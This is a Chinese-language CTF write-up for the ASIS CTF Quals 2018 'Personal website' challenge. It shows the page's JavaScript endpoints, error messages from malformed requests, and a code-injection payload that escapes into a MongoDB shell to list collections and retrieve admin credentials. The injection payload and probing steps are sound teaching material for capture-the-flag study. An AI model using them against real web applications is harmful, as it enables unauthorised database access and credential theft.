註解如下:
I'm so happy because I've set up new personal website. It's secure isn't it?
從題目看來,應該是用 PHP 寫的題目。(Personal Home Page = PHP)。
點進去的話,會看到一個看起來很一般的網站,但網站看起來.... 是新手寫的。
如果仔細看頁面上的 JS code,會看到:
$(document).ready(function() {
$("img").each(function() {
var t = $(this),
i = t.attr("id");
$.get("/get/image/" + i, function(i) {
t.attr("src", i)
})
}), $("p").each(function() {
var t = $(this),
i = t.attr("id");
$.get("/get/text/" + i, function(i) {
t.html(i)
})
});
var j = '/admin_area';
$("h2").each(function() {
var t = $(this),
i = t.attr("id");
$.get("/get/title/" + i, function(i) {
t.html(i)
})
})
});
這代表著有以下路徑可以下:
/get/image
/get/text
/get/title
/admin_area
如果我們亂下參數,例如說:
http://206.189.54.119:5000/get/image/'"
這時候會拿到回覆,放在 Header 內:
Application-Error: exception: SyntaxError: Unexpected token ILLEGAL`
代表說我們可以朝 Fuzzing 的方向走。假設下 /get/image/xxx
時,會拿到:
Application-Error: exception: ReferenceError: xxx is not defined near 'x});return res;'
故我們可以從內容推測這是某種類似 Node 的環境。前面的 Code 大概是:
// do something
something({a: <內容>'})
return res
此時我們可以試著下:1});return {1:1};}%2F%2F
。因為 %2F 會翻譯成 /
,故會把後面的程式全部給註解掉。但這樣會拿到:
Application-Error: Couln't find "picture_path" property in returning object from database.
故這時候我們就可以知道,這是一個 mongoDB shell。接下來我們可以用 db.getCollectionNames()
來取得所有的表,之後試著找出 /admin_area
的帳密,拿下這題的 Flag。
CTFtime.org / ASIS CTF Quals 2018 / Personal website / Writeup